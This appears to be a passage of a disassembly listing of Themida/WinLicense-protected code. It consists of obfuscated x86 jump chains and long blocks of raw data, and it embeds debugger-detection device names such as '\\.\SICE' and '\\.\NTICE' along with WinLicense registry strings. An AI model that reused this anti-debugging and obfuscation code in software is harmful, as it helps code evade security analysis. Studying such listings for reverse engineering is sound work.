0FF1AC3E9h db 0FFh ; --------------------------------------------------------------------------- loc_56526D: ; CODE XREF: Themida_:00561575j mov ecx, ebx pop ebx push edx mov edx, 0 jmp loc_550B92 ; --------------------------------------------------------------------------- loc_56527B: ; CODE XREF: Themida_:00556981j add edx, 4 sub edx, 4 jmp loc_563E31 ; --------------------------------------------------------------------------- loc_565289: ; CODE XREF: Themida_:0055E9D7j push ebx mov ebx, 0 sub ebx, ebp mov ebp, ebx pop ebx push esi mov esi, 4CED116Ch xor esi, 406674C1h sub esi, 581D63BBh add esi, 0A3A4267Bh and ebp, esi pop esi and ebp, 661D7375h or ebp, 2B811850h sub ebp, 2B913870h jmp loc_55475E ; --------------------------------------------------------------------------- dw 0C681h dd 4, 8704EE83h, 895C2434h, 0BD55243Ch, 347176EDh, 1A1EA0BFh dd 5DEF310Ch, 4271E981h, 0F9012ABAh, 4271BB53h, 0E7E92ABAh dd 81FFFEC6h, 90276AC5h, 6EC5817Ah, 299EB8C0h, 0C3815DEBh dd 0E2AEFF22h, 315BD801h, 0E3C158C3h, 1E29E907h, 0E95DFFFFh dd 0FFFF9B47h ; --------------------------------------------------------------------------- loc_565320: ; CODE XREF: Themida_:00564BE3j push dword ptr [esp] jmp loc_554AEA ; --------------------------------------------------------------------------- dd 0C781C701h, 612307Bh, 4EF8358h, 5C243C87h, 0E9242C89h dd 0FFFEE820h, 559DC781h, 0F70115DDh, 559DEF81h, 34FF15DDh dd 5632E924h, 148BFFFFh, 395DE924h, 0D701FFFFh, 4AEF815Ah dd 0FF335B55h, 835A2434h, 0EA8104C4h, 3ACE2813h, 0CFE9FA29h dd 89FFFFCCh, 74FF2414h, 148B0424h, 4C48124h, 8F000000h dd 895C2404h, 8951243Ch, 4C181E1h, 81000000h, 4E9h, 240C8700h dd 240C895Ch, 0FF0762E9h, 81E389FFh, 4C3h, 4EB8100h, 87000000h dd 0BFE9241Ch db 13h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5653C3: ; CODE XREF: Themida_:0054FF1Bj mov ecx, esp push edi mov edi, 4 add ecx, edi pop edi sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx push ecx push ebx push edx mov dl, 28h jmp loc_555270 ; --------------------------------------------------------------------------- loc_5653E5: ; CODE XREF: Themida_:00558EE9j dec eax xor eax, 7545C323h add ecx, eax pop eax push edi mov edi, 6A6D6B6Ah sub ecx, edi pop edi push edi jmp loc_55B189 ; --------------------------------------------------------------------------- byte_5653FD db 0ADh, 2Dh, 0D1h ; DATA XREF: Themida_:0054FD18o dd 530AF64Ah, 1C70EFBBh, 8BD82908h, 0C481241Ch, 4, 0FFD691E9h db 0FFh ; --------------------------------------------------------------------------- loc_565419: ; CODE XREF: Themida_:00560413j xchg edi, [esp] mov esp, [esp] mov [esp], edx mov edx, 0ED77A3A0h sub eax, 5CD504FAh sub eax, edx add eax, 5CD504FAh mov edx, [esp] add esp, 4 and ebp, eax pop eax xor ebp, 94B40B8h jmp loc_551070 ; --------------------------------------------------------------------------- loc_565447: ; CODE XREF: Themida_:005539B7j add cl, 0A5h sub bl, cl mov cx, [esp] add esp, 2 push 21E8h mov [esp], ebx push 28D8h mov [esp], ecx sub esp, 4 jmp loc_56176B ; --------------------------------------------------------------------------- db 88h, 0DEh, 0E9h dd 0FFFF8F10h, 5EE9D821h, 57FFFFFDh, 42685156h, 0E9375E48h dd 0FFFFC09Ch, 4D91BE56h, 0CEE95F5Ch, 5DFFFF4Ch, 2289BB53h dd 0E9577407h, 0FFFF9332h, 0C181C129h, 577B49A6h, 8904EC83h dd 0BD552404h, 71026449h, 0FFD557E9h db 0FFh ; --------------------------------------------------------------------------- loc_5654BD: ; CODE XREF: Themida_:005582B1j xor ebp, eax mov eax, [esp] jmp loc_550883 ; --------------------------------------------------------------------------- db 50h dd 3F32CAB8h, 836DE945h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5654D2: ; CODE XREF: Themida_:005564A7j push esi mov esi, 4 jmp loc_560170 ; --------------------------------------------------------------------------- loc_5654DD: ; CODE XREF: Themida_:0055021Ej not eax xchg eax, esi sub esp, 4 mov [esp], edi mov edi, 1 jmp loc_55558A ; --------------------------------------------------------------------------- db 87h dd 505C2404h, 4B8h, 58C10100h, 0F9B5E950h, 34FFFFFEh, 0C4835F24h dd 0FEBB5304h, 0E976B402h, 0FFFF5F8Dh, 8A68F9F7h, 89000038h dd 0DCE92414h, 87FFFFA9h, 0AAE9243Ch, 31FFFF16h, 240C8BC8h dd 4C481h, 0A9680000h, 8900000Fh, 8C68243Ch, 89000051h dd 1268240Ch, 8B54959Eh, 7EE9240Ch, 53FFFEB0h, 0B7E93FB3h dd 58FFFF21h, 8151D5F7h, 4ECh, 24148900h, 0DFFBFDBAh, 0AF96E9E6h db 2 dup(0FFh) word_565576 dw 8B66h ; DATA XREF: Themida_:0054FDACo dd 0EC812404h, 4, 0E9243C89h, 0FFFEB227h, 88C9B353h, 503AE9DAh dd 0E6C1FFFFh, 0A8BA5202h, 18223BAh, 0E825E9D6h, 0EB81FFFFh dd 7D653424h, 867EC381h, 26E9B137h, 89FFFF5Dh, 0A6DAE9E0h dd 0BA52FFFFh, 2E441B18h, 58DECA81h, 0D2F728E0h, 0FF0128E9h db 0FFh ; --------------------------------------------------------------------------- loc_5655CD: ; CODE XREF: Themida_:0055215Ej xor edi, 62FB517Fh push 56D7h mov [esp], edi jmp loc_55CB1A ; --------------------------------------------------------------------------- loc_5655E0: ; CODE XREF: Themida_:0055360Bj mov esp, [esp] mov [esp], ax jmp loc_54FF17 ; --------------------------------------------------------------------------- dd 0B5BD6655h, 0ED836615h, 0D5F766FFh, 0FFC271E9h db 0FFh ; --------------------------------------------------------------------------- loc_5655FD: ; CODE XREF: Themida_:005436F4j jmp short loc_565635 ; --------------------------------------------------------------------------- aUser32_dll_0 db 'USER32.dll',0 aAdvapi32_dll_0 db 'ADVAPI32.dll',0 aNtdll_dll_0 db 'NTDLL.dll',0 db '×',7,9,0 db 5, 0, 7 dd 2000200h, 0C002A00h, 0A47A3C03h db 72h ; --------------------------------------------------------------------------- loc_565635: ; CODE XREF: Themida_:loc_5655FDj jmp loc_565ED3 ; --------------------------------------------------------------------------- dw 0DD68h dd 0E906059Ah, 0FFFDE395h, 59B8268h, 0E38BE906h, 0A168FFFDh dd 0E906059Ch, 0FFFDE381h, 59DAD68h, 0E377E906h, 0D68FFFDh dd 0E906059Eh, 0FFFDE36Dh, 59EFA68h, 0E363E906h, 6668FFFDh dd 0E906059Fh, 0FFFDE359h, 3E525326h, 0A321CAABh, 0DDB338DEh dd 4D03A448h, 0FE9217F8h, 0FC9DC974h, 6C0C91F7h, 0E2B0054Bh dd 4F268BD9h, 1F9B3AAEh, 956920Bh, 585EEE71h, 57118A9Eh dd 0F86F7109h, 56F16ABEh, 984F7109h, 25EEA71Ch, 5B3CE2ADh dd 0C4533656h, 9C89EAAh, 59467512h, 5E586BCh, 3DC256D4h dd 0C4533EABh, 0D6999FA9h, 36F0C7B5h, 35B57912h, 0C0E98B97h dd 17C2DD88h, 9F159E70h, 2B476510h, 2AD28768h, 0BE2BBD42h dd 6D257A19h, 651FD997h, 35124CC5h, 4F25B097h, 3820097Fh dd 38500795h, 0C8E6048Fh, 149D7F0Eh, 0B39B1174h, 9B374C7Bh dd 0B55816C5h, 505525E2h, 3BD8ADC5h, 35B3D6B6h, 7C29CC51h dd 1673159Eh, 362BE88Bh, 16F6390Ah, 6BCFBh, 8324F700h dd 169B78CDh, 0E009EF72h, 707519ECh, 0C3E8891Ch, 0A2F8278Dh dd 0DDA024CDh, 41D4B83Dh, 0F75A0EB3h, 0A8C99F20h, 56C15AEEh dd 8D3F7109h, 0A2432AEEh, 0CC565304h, 20088B3Fh, 0B8722444h dd 69A348D5h, 770EEDF0h, 9423994Ch, 9BAFCBE9h, 750C7577h dd 1FE92F1h, 4B1E4E73h, 0B45911FCh, 2B65C3E4h, 48E0B85Ah dd 710956CFh, 29688D61h, 0A530B95Ah, 520C8ADEh, 9565DF6h dd 5134A371h, 3BAE3EC3h, 0A14A28BDh, 0A5906409h, 0B4931116h dd 48D732h, 329FEF45h, 501B5A5Bh, 2DE0D60Dh, 617805Dh dd 0C9A80000h, 40DDA024h, 0AE40D5BBh, 1AF24705h, 8D62F795h dd 53826064h, 1B497207h, 8FDDE2B6h, 3D53583Ah, 0AC20C5A8h dd 1CB59515h, 60710956h, 432A13D0h, 0B0472AA2h, 192730Fh dd 0FE456E00h, 0EA6FBEEh, 0F0A79B7Ch, 850068C4h, 4F554397h dd 8996C62h, 46h, 0A2432AABh, 0F26FB52Eh, 2770EF0h, 69064A6Bh dd 7E6801Eh, 0B4F24E6Fh, 11DF7C94h, 5B17C275h, 0A7E4FEA1h dd 348B7305h, 0A247D5B8h, 30B95B2Eh, 58B8558h, 43FD0000h dd 0B706EE7h, 0F1F69E71h, 4D3F297h, 6C012BA8h, 0CC4EAE89h dd 0D2E9992Bh, 0E4400547h, 0B1C9EE81h, 48E32BEEh, 2571B0Ch dd 2EC5466Ch, 93FB71B2h, 6F0BA9D4h, 47FC95B5h, 327770Eh dd 770E478Ah, 0B52063F6h, 1BA9813Fh, 99751162h, 640B9EF2h dd 17620D43h, 6D27E199h, 0B6C44DDh, 2AFEB871h, 710B6CB1h dd 77CD580Fh, 8F43057h, 5D3D906Fh, 0CE553058h, 423FDDB0h dd 4507ACh, 0B042D7B5h, 19FC410Bh, 0DFE4DD94h, 15F5E6D5h dd 4F8F8h, 0C7E88B00h, 5A5F3C81h, 24CDA336h, 0B439DDA0h dd 7AC4DD0h, 6634E341h, 91646891h, 5E8FC01h, 8B1E7277h dd 0F48DC3E4h, 54FD96B2h, 0B1437109h, 0A2432A32h, 0FB0472Ah dd 9E23F05Dh, 919263CEh, 7913FE03h, 0EFF90294h, 0EF3371FAh dd 0C81C00AFh, 0EEFF0F3h, 0FC143677h, 6D834A75h, 0D4889D86h dd 7C1F996Ch, 356D6104h, 0D8C2BE46h, 0FFFFFECEh, 0A2432A5Bh dd 96B26C2Ah, 770EF0FDh, 0AF189443h, 80A8C6E4h, 7511F016h dd 74335104h, 7BCFEB09h, 6F0EFA4Dh, 0A44C1CCBh, 770ED126h dd 791438E4h, 0E9E30494h, 0E64D7604h, 2F23390Ah, 47DC996Dh dd 5F000001h, 0E2AD25EEh, 0C89EAAC4h, 46751209h, 0D1DD793h dd 710BC194h, 0CA877DE8h, 0B5CE7C62h, 43612CC7h, 0CAAD0327h dd 39CC9538h, 5035575Ch, 7E6EFDD4h, 6A03E49h, 0D2D7B94Ch dd 0F93E7656h, 0D5809B37h, 812AC89Dh, 0F5986D2Bh, 66099CF0h dd 0DA8B2E41h, 0BE4E390Ah, 3ECA3h, 0F3F48700h, 466B089Dh dd 0D0D9BF02h, 0A04529BCh, 33B8592Ch, 7228D75Dh, 0ED70149Dh dd 11E4E80Dh, 876A7E83h, 0F899CFF0h, 53F16ABEh, 0BD4F7109h dd 6785F03Eh, 19FC914Bh, 0D54EDA94h, 2B770EF0h, 0CCE8C0BCh dd 6A750C77h, 5022C3FFh, 0C25025ABh, 2BC2AF39h, 5BC2EB8Ah dd 4F1FE0D6h, 38C92h, 53542700h, 26CBA83Dh, 0B039DFA2h dd 0A549DCh, 9318F94Ch, 92C877FDh, 0D90F4FDh, 0B104486Dh dd 278ADEE3h, 9839AF50h, 52910A1Eh, 5DEF7109h, 0A2432A9Eh dd 0DCB0472Ah, 0EF0D34Ch, 97682977h, 12F1E879h, 3D2C4DD8h dd 4FBD463Bh, 8C6119E4h, 68C4E9h, 20439785h, 0AC08AD4Dh dd 0E3F999Ch, 0D4872377h, 0ADA7CDCEh, 89BA361Dh, 996C5B74h dd 0FFFD5D6Fh, 432A88FFh, 0F29D2AA2h, 62D8013Eh, 60CFF9ECh dd 0C8A8E246h, 0C3967511h, 18EED68Dh, 0B1C9E792h, 878416F7h dd 8460CFF0h, 1208EEA4h, 8239AC75h, 0CB2113C4h, 83D4DDB2h dd 68C410A7h, 0F9F1AD40h, 0D4D2BDD8h, 5F388E9Ah, 0A336C6FDh dd 0F5F39E29h, 8D556DBDh, 0F98CCCFAh, 90F5971Ch, 10AE3D14h dd 88DF9A7Dh, 0C3B1E956h, 5439AF3Ah, 12853CC1h, 0BF48C775h dd 29F322Fh, 41D00000h, 0B84528BCh, 26C85D33h, 927ACF9Dh dd 5EA7F6Dh, 0DB1AE8FCh, 83C1EA8Fh, 37555A3Eh, 0A52BD0A2h dd 0D4B83DD0h, 0A43D0D8Dh, 18710952h, 85F08B68h, 58F259ADh dd 0BB0601DBh, 7C092BFFh, 30A7750Bh, 6302BC76h, 0A53E6E8Fh dd 1B71098Bh, 0FF9DF04Ch, 4B29BCFAh, 0D3A6CAA6h, 4DD0B841h dd 6D6A05AAh, 0ACE0D6A7h, 23301DCh, 0AD4C0000h, 24F14408h dd 9264C99Fh, 0FE967B69h, 7106EBF9h, 6FAE0448h, 3FAD563Bh dd 0A321C6AAh, 0D1B73CDEh, 4004A94Ch, 38D17931h, 84710951h dd 85F077F4h, 0BDFF4B67h, 73750C77h, 543BCAE4h, 0B6264B99h dd 6EEA3199h, 7038592Fh, 38AC3B68h, 102D058Fh, 0BD599193h dd 21DB9762h, 0AA06AB4Ch, 99B0382h, 0FEEE7D71h, 13757E13h dd 0C65FEBA5h, 3A71099Ah, 3C76D1AFh, 0BA9CD182h, 392396F5h dd 9D976EFh, 0A11FCA71h, 0E8862BCCh, 37B85F2Eh, 9D97C15h dd 9F15C071h, 0DAB84DCBh, 0A2EC5BD1h, 43C46402h, 0B97109D9h dd 69FCBAD2h, 0E3866287h, 0D6E1EB0Ch, 0B86509DCh, 2DB8D0D5h dd 0E5430646h, 84C8ED80h, 21595E31h, 0A804A94Ch, 0DA8AB9C0h dd 18A17734h, 0DE8E1570h, 73159E73h, 0A9E93D01h, 0EBA3F72Bh dd 14C7E304h, 49B690Ah, 0A5C9A7FEh, 0D0B83DD0h, 74D4AC4Dh dd 7109CBDBh, 0BD2FBA21h, 0DCB94CEEh, 316559D7h, 17B09852h dd 657109CCh, 80177AF6h, 921F387h, 7109CB90h, 0FA9279ECh dd 961BF8EFh, 400493F6h, 0F5971CFDh, 2CE09FACh, 28D1A6F8h dd 0E840FAA4h, 7109CB6Fh, 0EF14E6CDh, 30C1A400h, 8457C18Bh dd 6F0D63B6h, 5AD1354Ah, 9EBFE7Ah, 0C1E3E8E0h, 8F34C59Dh dd 1CA174D9h, 7C6DA44Ch, 4179E95Ch, 3EDCC9ACh, 2BBE2EB5h dd 6D25694Dh, 0B967658Ah, 29A344D4h, 0CAADC0BCh, 39DEA325h dd 51AF307Ah, 47D2A789h, 3937682Bh, 54687348h, 0C69B0470h dd 4A265FFFh, 91C57B22h, 0A74936D9h, 0B01F4A02h, 0F18362DCh dd 76196CC8h, 25501771h, 0D15FEB87h, 4FB69BBFh, 0D0BBF498h dd 62B494D2h, 0D8BC9717h, 23DD5B0Dh, 9DF88E07h, 0D1D6BEB8h dd 0F88D6BFEh, 618A6815h, 8C63F69Ah, 95E91CA1h, 4201F37Eh dd 2FB904ADh, 3F6D1607h, 9ACE6264h, 0C4882DC0h, 4F199E71h dd 0E3E50AE2h, 691DBEF8h, 0C1DAC89Eh, 63B78B61h, 6A8F6D00h dd 9314FB8Eh, 0A18943FDh, 0AC3DB528h, 66BC194h, 0C31E4E6Fh dd 0Dh, 886C0172h, 6D606567h, 0D08C688Dh, 0A6472AD3h, 33B45B26h dd 9D26F459h, 6D9266CBh, 0F801967Bh, 476C0D90h, 0D3D4B805h dd 0B942D4B9h, 8B1422Fh, 89570B40h, 4C781E7h, 81000000h dd 4EFh, 243C8700h, 242C895Ch, 81E38953h, 4C3h, 4EB8300h dd 5C241C87h, 53243C89h, 0C381E389h, 4, 4EB81h, 1C870000h dd 0C895C24h, 4EC8124h, 89000000h, 0CBE2434h, 8906059Ah dd 8B545EF7h, 0C481240Ch, 4, 0F3B95157h, 31594068h, 5904244Ch dd 8108418Fh, 68F30871h, 0C8B5940h, 0E0895024h, 405h, 40500h dd 4870000h, 3C8B5C24h, 0E3895324h, 4C381h, 0C3810000h dd 4, 5C241C87h, 0FDDB08E9h db 0FFh, 6Fh, 0F3h ; --------------------------------------------------------------------------- loc_565ED3: ; CODE XREF: Themida_:loc_565635j mov eax, 605A1BEh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 3B4ADA7Ch, 346C765Bh, 7763AFC5h, 2792F47h, 792F1AB4h dd 12925B8Eh, 2452DCFFh, 779B588Eh, 21E2B390h, 1EC18069h dd 542AD602h, 21518E71h, 1856B35Fh, 2EA87F89h, 4EFB4074h dd 66857560h, 779FD48Dh, 27A05898h, 4B90C3C2h, 7EAD003Fh dd 62B47AECh, 27C7A1DCh, 7E8h, 0E09FA300h, 33A64BD1h, 33DBBA66h dd 0CFBE665Bh, 2DC381C0h, 0B8000066h, 194Eh, 58E0Fh, 3BBF0000h dd 8B7A8CBDh, 9E90Bh, 0BC830000h, 0D99C61F7h, 81A42B3Ah dd 0B3631CF1h, 6E85610h, 0DF000000h, 0DEBD25B7h, 29BE6607h dd 815E5F90h, 3A0C01C1h, 0EE861h, 0F8C30000h, 93C3DACFh dd 1C7A9B34h, 5A914859h, 0F4C68166h, 0F1815EBBh, 52E122BEh dd 840Fh, 52510000h, 2ED78166h, 38F5F47h, 4EB83F8h, 5E8h dd 6CD95600h, 62BECEE4h, 5A5CB961h, 2D850F48h, 0E8000000h dd 0Fh, 66570D50h, 0FD1ACF38h, 0EB33186h, 0FC1589CEh, 40E95Ah dd 69F80000h, 440961FAh, 0B9DED757h, 0CDD37257h, 0BF63E172h dd 13E9h, 5E6A0F00h, 0D943000h, 296676D3h, 0B944CB10h dd 28F4F0CDh, 0FFFF3EE9h, 0EDAE7EFFh, 0CED2D7ABh, 4A71A765h dd 0F0C809DDh, 73E97039h, 60000000h, 2AADBD83h, 0F000603h dd 584h, 5EE900h, 6A0000h, 0F303E80h, 885h, 46006A00h dd 35E9h, 333E8000h, 8850Fh, 106A0000h, 24E946h, 3E800000h dd 8850F34h, 6A000000h, 13E94630h, 80000000h, 850F353Eh dd 8, 0E946406Ah, 2, 858D006Ah, 6031DA5h, 24048950h, 24348950h dd 95FF006Ah, 6031AE1h, 85C6C361h, 6032F39h, 0B2D9684Dh dd 48139C6h, 6EC3CF24h, 11B5FF6Ah, 8D06032Dh, 338A785h dd 89D0FF06h, 31AE185h, 5C1EEB06h, 535C2E5Ch, 454349h dd 5C2E5C5Ch, 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h dd 81C08B00h, 4A08B7EEh, 0F9BD8B1Bh, 83060313h, 31039BDh dd 9750006h, 111DBD83h, 74000603h, 8B535019h, 40FB8C0h dd 85890000h, 6031775h, 0B0919D8Dh, 0D3FF0605h, 0BD83585Bh dd 603111Dh, 50177400h, 40FB853h, 85890000h, 6031775h dd 0AD809D8Dh, 0D3FF0605h, 6A585Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 7479EC3h dd 66869841h, 31FDB529h, 6A0603h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 0F59767C3h, 6AC08Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 453C52C3h, 0C6F1CD20h, 32F3985h, 13E84306h, 2A000000h dd 7AD72360h, 0C67210h, 4BA89688h, 1C72A6Fh, 1605637h dd 32DED9Dh, 1DB52306h, 61060326h, 0CB7C685Fh, 810F9A20h dd 3, 81F38B66h, 0A5802434h, 6A26AEh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 1AF60C3h dd 0B2BE3F4Fh, 8B5DA9DBh, 31FE595h, 59B5FF06h, 80060313h dd 0DA8032DEh, 0A7858D29h, 89060338h, 303B58Dh, 8BD0FF06h dd 25BA90F2h, 5074154Bh, 0A0092BBAh, 9FB99005h, 8955AFCEh dd 32D819Dh, 6A006A06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 6153C356h, 0A368C920h dd 666ECB97h, 812820BFh, 97232434h, 6A6ECBh, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 66798CC3h dd 0B65FF281h, 7E9036Ah, 0C2000000h, 4E341821h, 6AB6E0h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 51C35141h dd 1BCA01B0h, 65BD0172h, 8A060324h, 0B2036AD0h, 52776806h dd 52509E94h, 188D0Fh, 12E80000h, 0B7000000h, 155DE943h dd 0F8087BB5h, 0A1D575Ah, 9D78C379h, 310F5E86h, 0B10F74BEh dd 81585A64h, 0AD892404h, 0B589216Bh, 6031D11h, 0A45F9D8Dh dd 0BF660605h, 8A50A587h, 241C89F3h, 816645B6h, 0FFC1D5F2h dd 850F40D0h, 29Bh, 0A5A0E1B9h, 0FC535840h, 0F525059h dd 48Dh, 5FBA6600h, 489596Fh, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 6AA7BD84h dd 35958B00h, 68060306h, 2A0762F5h, 13E9h, 0B1E38500h dd 602B8637h, 6A591EDAh, 6206DA78h, 0E68EFD52h, 75243481h dd 8B2A0762h, 31955B5h, 6A036A06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 7BF7C355h dd 2D8509C2h, 8B060317h, 310A9BDh, 0F9858906h, 6A060330h dd 5870F00h, 66000000h, 0E04AF281h, 8166036Ah, 0E82A23DFh dd 4, 0C0000000h, 8B50FE8Bh, 57042444h, 8B5AF6B6h, 0C83CBA00h dd 44895AADh, 0F48A0424h, 41BD8958h, 8D060320h, 5A4689Dh dd 38F58006h, 0BE505193h, 265837FAh, 50505F59h, 0FE95152h dd 0A3000000h, 0AB210767h, 6B377C6Bh, 2A381B88h, 0F5FA4FAh dd 4810F31h, 66000000h, 5A06ECBAh, 66539358h, 0FF59FB8Bh dd 0D8589D0h, 0E806030Ah, 10h, 4993E6B2h, 8377A5CFh, 0A451E581h dd 8FBAF7Ah, 97D9531h, 40590603h, 159850Fh, 9D890000h dd 6031339h, 4ADE8158h, 90274E5Dh, 0D74CBE50h, 819005FCh dd 0FFCFECF1h, 6A006A2Ch, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 6E92C351h, 0E917F742h dd 12h, 40991D34h, 0FEC604Dh, 6EA7ECD8h, 0F33C607Dh, 89688E80h dd 0E8049D10h, 0Ch, 33810964h, 0EABA0008h, 0D5CA83AAh dd 13E9h, 0B6C61000h, 0F5AF94DAh, 0EC68F275h, 4D63CF57h dd 0DC9C0ED1h, 2434815Eh, 49D1009h, 2830Fh, 0B8B10000h dd 8589036Ah, 6031F1Dh, 8589006Ah, 603109Dh, 0DE9036Ah dd 5E000000h, 719E64C6h, 8D9EA03h, 8DDE43F6h, 0B9EB3C68h dd 3ABA66F1h, 2434813Ch, 31B9EB3Ch, 10FDB533h, 9D8D0603h dd 605A473h, 0F0D98166h, 810F5004h, 8, 5E565250h, 585A310Fh dd 6A241C89h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0B06BC357h, 8D8B801Bh, 6032379h dd 8166D0FFh, 40E300F7h, 3D850Fh, 8B660000h, 0B19D29CBh dd 58060321h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0B0C35141h, 0E3CFD71Eh, 0BD29CD83h, 6032CA9h, 140E9h dd 41958B00h, 8B060325h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0E02CFD78h, 8C0FF2E4h dd 1, 6A4BFCh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 8BDCB8C3h, 331A5B5h, 2ABF6006h dd 8B423B24h, 0C65861DFh, 32F3985h, 95894306h, 6031B6Dh dd 4E8h, 764AA700h, 0FB8B66C0h, 5F526050h, 8B6131B1h, 0BA042444h dd 69CE8612h, 11E9008Bh, 1D000000h, 0C5FBCA61h, 0F11F91A7h dd 8422499Ch, 58C8E109h, 4244489h, 8D0Fh, 0B2580000h, 59B5FFC8h dd 0F060313h, 0E8Eh, 9E900h, 95B40000h, 4E25FE57h, 8D7FA5C7h dd 338A785h, 0F1BD8B06h, 0FF060322h, 0C88B66D0h, 0BE85093h dd 80000000h, 4FBBDBFBh, 0F7CA349h, 0BE9B2E8h, 14000000h dd 0FFA17A9h, 5455B386h, 935E56F9h, 8D8BD0FFh, 6032C85h dd 72879D8Dh dd 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 34A4DBC3h, 6DD6DF7Ah, 0B52B70F2h, 6030AE9h dd 1B8h, 0D5B50300h, 0FF06032Ah, 29C18BE3h, 323619Dh, 8BC08B06h dd 32519B5h, 39BD8306h, 60310h, 0BD830975h, 603111Dh, 50197400h dd 0B8C08B53h, 40Fh, 23918589h, 9D8D0603h, 605B0F8h, 585BD3FFh dd 111DBD83h, 74000603h, 0B8535017h, 40Fh, 23918589h, 9D8D0603h dd 605AD99h, 585BD3FFh, 2DED9529h, 81660603h, 0F5616D7h dd 683h, 0E9BD8B00h, 8B060302h, 0AAE9C0h, 6F530000h, 61777466h dd 575C6572h, 694C6E69h, 736E6563h, 68430065h, 496B6365h dd 7058004Eh, 45746F72h, 746978h, 63656843h, 54554F6Bh dd 6E695700h, 6563694Ch, 5665736Eh, 69737265h, 57006E6Fh dd 694C6E69h, 736E6563h, 69724465h, 56726576h, 69737265h dd 57006E6Fh, 694C6E69h, 736E6563h, 736E4965h, 636E6174h dd 78450065h, 6B4F7469h, 6F725000h, 4E4963h, 636F7250h dd 54554Fh, 74697845h, 45004E49h, 4F746978h, 54005455h dd 4E4970h, 3 dup(0) dd 77DDAF7Fh, 77DD72F0h, 596E9h, 0B4858900h, 8D0605ABh dd 5ABB085h, 858D5006h, 605AB1Ah, 16850h, 95FF8000h, 605ABC0h dd 0B5FF196Ah, 605ABB4h, 6A016Ah, 0AB49858Dh, 0FF500605h dd 5ABB0B5h, 4195FF06h, 0FF060303h, 5ABB0B5h, 0BC95FF06h dd 0FF0605ABh, 5ABB0B5h, 2D95FF06h, 0C3060320h, 0ABB48589h dd 858D0605h, 605ABB0h, 1A858D50h, 500605ABh, 168h, 0C095FF80h dd 6A0605ABh, 0B4858D04h, 500605ABh, 6A046Ah, 0AB73858Dh dd 0FF500605h, 5ABB0B5h, 4195FF06h, 0FF060303h, 5ABB0B5h dd 0BC95FF06h, 0FF0605ABh, 5ABB0B5h, 2D95FF06h, 0C3060320h dd 0ABB48589h, 858D0605h, 605ABB0h, 1A858D50h, 500605ABh dd 168h, 0C095FF80h, 6A0605ABh, 0B4858D04h, 500605ABh dd 6A046Ah, 0AB5B858Dh, 0FF500605h, 5ABB0B5h, 4195FF06h dd 0FF060303h, 5ABB0B5h, 0BC95FF06h, 0FF0605ABh, 5ABB0B5h dd 2D95FF06h, 0C3060320h, 0ABB48589h, 858D0605h, 605ABB0h dd 1A858D50h, 500605ABh, 168h, 0C095FF80h, 6A0605ABh, 0B4858D04h dd 500605ABh, 6A046Ah, 0AB86858Dh, 0FF500605h, 5ABB0B5h dd 4195FF06h, 0FF060303h, 5ABB0B5h, 0BC95FF06h, 0FF0605ABh dd 5ABB0B5h, 2D95FF06h, 0C3060320h, 0ABB48589h, 858D0605h dd 605ABB0h, 1A858D50h, 500605ABh, 168h, 0C095FF80h, 6A0605ABh dd 0B4858D04h, 500605ABh, 6A046Ah, 0AB36858Dh, 0FF500605h dd 5ABB0B5h, 4195FF06h, 0FF060303h, 5ABB0B5h, 0BC95FF06h dd 0FF0605ABh, 5ABB0B5h, 2D95FF06h, 0C3060320h, 1175BD83h dd 0F000603h, 0B84h, 759D8B00h, 83060311h, 3894CC3h, 75BD83C3h dd 60311h, 0B840Fh, 9D8B0000h, 6031175h, 8950C383h, 0BD83C303h dd 6031175h, 0B840F00h, 8B000000h, 311759Dh, 54C38306h dd 83C30389h, 31175BDh, 840F0006h, 0Bh, 11759D8Bh, 0C3830603h dd 0C3038958h, 1175BD83h, 0F000603h, 0B84h, 759D8B00h dd 83060311h, 3895CC3h, 8960C3C3h, 5ABB485h, 0B0858D06h dd 500605ABh, 0AB1A858Dh, 68500605h, 80000001h, 0ABC095FFh dd 46A0605h, 0ABB4858Dh, 6A500605h, 8D006A04h, 5ABAB85h dd 0B5FF5006h, 605ABB0h, 34195FFh, 0BD830603h, 6031039h dd 0C840F00h, 0FF000000h, 5ABB0B5h, 0BC95FF06h, 0FF0605ABh dd 5ABB0B5h, 2D95FF06h, 61060320h, 858960C3h, 605ABB4h dd 0ABB0858Dh, 8D500605h, 5AB1A85h, 1685006h, 0FF800000h dd 5ABC095h, 8D046A06h, 5ABB485h, 46A5006h, 858D006Ah dd 605AB8Dh, 0B0B5FF50h, 0FF0605ABh, 3034195h, 39BD8306h dd 60310h, 0C840Fh, 0B5FF0000h, 605ABB0h, 0ABBC95FFh, 0B5FF0605h dd 605ABB0h, 202D95FFh, 0C3610603h, 0B4858960h, 8D0605ABh dd 5ABB085h, 858D5006h, 605AB1Ah, 16850h, 95FF8000h, 605ABC0h dd 858D046Ah, 605ABB4h, 6A046A50h, 94858D00h, 500605ABh dd 0ABB0B5FFh, 95FF0605h, 6030341h, 1039BD83h, 0F000603h dd 0C84h, 0B0B5FF00h, 0FF0605ABh, 5ABBC95h, 0B0B5FF06h dd 0FF0605ABh, 3202D95h, 60C36106h, 0ABB48589h, 858D0605h dd 605ABB0h, 1A858D50h, 500605ABh, 168h, 0C095FF80h, 